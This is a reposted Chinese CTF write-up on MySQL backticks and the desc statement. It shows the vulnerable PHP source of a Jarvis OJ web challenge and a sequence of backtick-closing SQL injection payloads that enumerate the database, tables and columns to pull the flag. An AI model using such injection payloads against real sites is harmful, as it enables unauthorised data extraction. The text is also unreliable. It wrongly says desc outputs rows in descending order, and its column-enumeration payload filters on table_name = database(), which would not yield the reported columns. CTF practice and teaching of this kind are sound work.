sql中反引號的作用以及desc的使用


反引號在mysql中的作用

反引號 ` 在mysql中是為了區分mysql中的保留字符與普通字符而引入的符號

#假如表A中有一列名為select,查詢該列
select select from A;   #錯誤
select `select` from A;  #正確

desc的使用

很多情況下對表內部結構不熟悉,這時可通過desc +表名來查看表結構並將其降序輸出

#假如存在表flag,用desc(describe)查詢該表信息
desc flag A;  #顯示flag表信息,別名為A
desc `flag` `A` #與上述語句相同

相關題目

題目鏈接:http://web.jarvisoj.com:32794/

Hint: 先找到源碼再說吧~~

dirsearch掃描,得到源碼:http://web.jarvisoj.com:32794/index.php~

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

可以通過反引號閉合來進行sql注入

1.payload: ?table=test`` union select database() limit 1,1

相當於

mysqli_query($mysqli,"desc ` secret_test`` union select database()limit 1,1`") or Hacker();

得到數據庫61d00,接着爆表

?table=test``union select group_concat(table_name) from information_schema.tables where table_schema = database() limit 1,1

得到secret_flag,secret_test,接着爆字段:

?table=test``union select group_concat(column_name) from information_schema.columns where table_name =database() limit 1,1

得到flagUwillNeverKnow,最后爆出flag:

?table=test ``union select flagUwillNeverKnow from secret_flag limit 1,1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM